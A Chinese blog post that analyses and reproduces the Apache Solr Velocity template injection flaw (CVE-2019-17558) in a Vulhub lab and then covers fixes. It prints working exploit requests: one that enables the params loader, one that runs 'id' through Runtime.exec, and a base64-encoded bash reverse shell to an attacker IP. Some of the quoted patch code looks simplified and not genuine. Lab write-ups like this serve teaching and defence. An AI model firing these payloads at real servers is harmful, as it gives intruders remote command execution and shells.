当前位置: 首页 > ds >正文

CVE-2019-17558源码分析与漏洞复现

漏洞概述

漏洞名称:Apache Solr Velocity 模板注入远程命令执行漏洞
漏洞编号:CVE-2019-17558
CVSS 评分:9.8
影响版本:Apache Solr 5.0.0 - 8.3.1
修复版本:Apache Solr ≥ 8.4.0
漏洞类型:远程代码执行(RCE)

CVE-2019-17558 是 Apache Solr 的 VelocityResponseWriter 组件中的高危漏洞。攻击者通过未授权访问 Solr 管理接口,动态启用 params.resource.loader.enabled 配置,注入恶意 Velocity 模板并利用 Nashorn 引擎执行任意 Java 代码,最终实现远程命令执行。漏洞核心问题包括:

  1. 默认配置缺陷params.resource.loader.enabled 默认可被动态启用,允许通过 HTTP 参数加载自定义模板。
  2. 沙箱绕过:Velocity 模板引擎的沙箱限制不充分,攻击者可通过反射调用 java.lang.Runtime 执行系统命令。

技术细节与源码分析

漏洞触发原理
  • 攻击流程
    攻击者 → 启用 params.resource.loader.enabled → 注入恶意 Velocity 模板 → Nashorn 引擎解析 → 反射调用 Runtime.exec() → RCE  
    
  • 关键接口
    • 配置修改:POST /solr/<core>/config
    • 漏洞触发:GET /solr/<core>/select?wt=velocity&v.template.custom=恶意代码
关键源码分析

(1)配置加载入口VelocityResponseWriter.java

@Overridepublic void init(NamedList args) {fileResourceLoaderBaseDir = null;String templateBaseDir = (String) args.get(TEMPLATE_BASE_DIR);if (templateBaseDir != null && !templateBaseDir.isEmpty()) {fileResourceLoaderBaseDir = new File(templateBaseDir).getAbsoluteFile();if (!fileResourceLoaderBaseDir.exists()) { // "*not* exists" condition!log.warn(TEMPLATE_BASE_DIR + " specified does not exist: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;} else {if (!fileResourceLoaderBaseDir.isDirectory()) { // "*not* a directory" conditionlog.warn(TEMPLATE_BASE_DIR + " specified is not a directory: " + fileResourceLoaderBaseDir);fileResourceLoaderBaseDir = null;}}}// params resource loader: off by defaultBoolean prle = args.getBooleanArg(PARAMS_RESOURCE_LOADER_ENABLED);paramsResourceLoaderEnabled = (null == prle ? false : prle);// solr resource loader: on by defaultBoolean srle = args.getBooleanArg(SOLR_RESOURCE_LOADER_ENABLED);solrResourceLoaderEnabled = (null == srle ? true : srle);initPropertiesFileName = (String) args.get(PROPERTIES_FILE);NamedList tools = (NamedList)args.get("tools");if (tools != null) {for(Object t : tools) {Map.Entry tool = (Map.Entry)t;customTools.put(tool.getKey().toString(), tool.getValue().toString());}}} 

作用:初始化时未强制关闭参数加载器,允许攻击者通过 API 动态启用 params.resource.loader.enabled

(2)模板解析过程TemplateEngine.java

public Template getTemplate(String name) {  if (paramsLoaderEnabled) {  template = loadFromParams(name); // 从HTTP参数加载自定义模板  }  return template;  
}  

漏洞点:当 params.resource.loader.enabled=true 时,直接解析用户输入的 v.template.custom 参数内容。

(3)沙箱绕过与命令执行
恶意模板通过反射调用 Java API 执行命令:

#set($x='')  
#set($rt=$x.class.forName('java.lang.Runtime'))  
#set($ex=$rt.getRuntime().exec('id')) // 执行系统命令  

技术原理

  • 利用 Velocity 的 #set 指令声明变量。
  • 通过 $x.class.forName() 反射加载 java.lang.Runtime 类。
  • 调用 exec() 执行任意命令并输出结果。

漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8983,确认服务正常运行

在这里插入图片描述

攻击步骤
1.获取核心
  • 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

在这里插入图片描述

  • 在本环境中,demo 是唯一的核心
2.启用API
  • 通过以下 API 启用 params.resource.loader.enabled 配置(API 端点为 /solr/[核心名称]/config):
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

在这里插入图片描述

3.发送恶意的 Velocity 模板触发漏洞
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

在这里插入图片描述

  • 执行id命令
4.反弹shell
  • 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

  • url编码
bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a
  • 将编码后的payload替换之前的id命令得到最终payload
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ%3d%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%0a%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
  • 开启监听
    在这里插入图片描述
  • 发起恶意请求后,反弹成功
    在这里插入图片描述

修复方案

官方修复(Solr 8.4.0+)
  • 完全移除参数加载器:删除 params.resource.loader.enabled 功能。
  • 信任链控制:仅允许通过认证用户上传的 configset 渲染模板。
    补丁代码关键变更
// 移除 params.resource.loader 相关代码  
public void init(NamedList args) {  throw new SolrException("Params resource loader is deprecated and removed!");  
}  
临时缓解措施
  1. 禁用 Velocity 响应器solrconfig.xml):
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">  <bool name="params.resource.loader.enabled">false</bool> // 强制关闭参数加载  
    </queryResponseWriter>  
    
  2. 网络层防护
    • 限制 /solr/admin//solr/config 接口的访问来源。
    • WAF 规则拦截包含 v.template.custom 或反射关键字(如 java.lang.Runtime)的请求。

漏洞启示

  1. 模板引擎的安全风险:Velocity/Jinja2 等模板引擎需强制沙箱隔离,禁止反射调用敏感类。
  2. 默认配置的危害:生产环境必须审查 params.resource.loader.enabled 等高风险开关。
  3. 最小权限原则:Solr 服务应以非 root 权限运行,限制命令执行影响范围。

参考链接

  1. CVE-2019-17558 技术原理与复现指南(亿速云)
  2. Vulhub 漏洞环境搭建与利用
  3. Apache Solr 官方修复通告(SOLR-13971)
http://www.xdnf.cn/news/10301.html

相关文章:

  • 电子电路:电路设计中的温度补偿技术
  • Python打卡训练营day40——2025.05.30
  • MySQL 高可用实现方案详解
  • Nature:多模态大模型LLMs如何驱动多组学与生命科学研究新范式?
  • DiTAR: Diffusion Transformer Autoregressive Modeling for Speech Generation
  • 02业务流程的定义
  • 【连接器专题】SD卡座规格书审查需要审哪些方面?
  • day40python打卡
  • 国产三维CAD皇冠CAD(CrownCAD)建模教程:冷却液箱阀门
  • 关于位图Bitmaps的介绍
  • vue为什么点击两遍才把参数传递过去
  • 边缘计算网关支撑医院供暖系统高效运维的本地化计算与边缘决策
  • 什么是 pyenv?
  • 【Vim】高效编辑技巧全解析
  • RFID推动医行智能终审系统药物管理应用案例
  • 基于springboot的医护人员排班系统设计与实现(源码+文档+部署讲解)
  • 每天掌握一个Linux命令 - fail2ban
  • 2020年dm8定时自动备份与删除备份
  • AI炼丹日志-24 - MCP 自动操作 提高模型上下文能力 Cursor + Sequential Thinking Server Memory
  • 多杆合一驱动城市空间治理智慧化
  • 修改Cinnamon主题
  • RAG应用:交叉编码器(cross-encoder)和重排序(rerank)
  • 鸿蒙OSUniApp自定义手势识别与操作控制实践#三方框架 #Uniapp
  • 软件工程:关于招标合同履行阶段变更的法律分析
  • Ubuntu 22.04 上使用 Docker 安装 RagFlow
  • SOC-ESP32S3部分:20-SPISPI屏幕驱动
  • 1.2 HarmonyOS NEXT分布式架构核心技术解析
  • TiDB 发布 MCP Server:引领国产数据库迈向智能 AI 代理新应用范式
  • Windows环境下PHP,在PowerShell控制台输出中文乱码
  • 测试基础(二)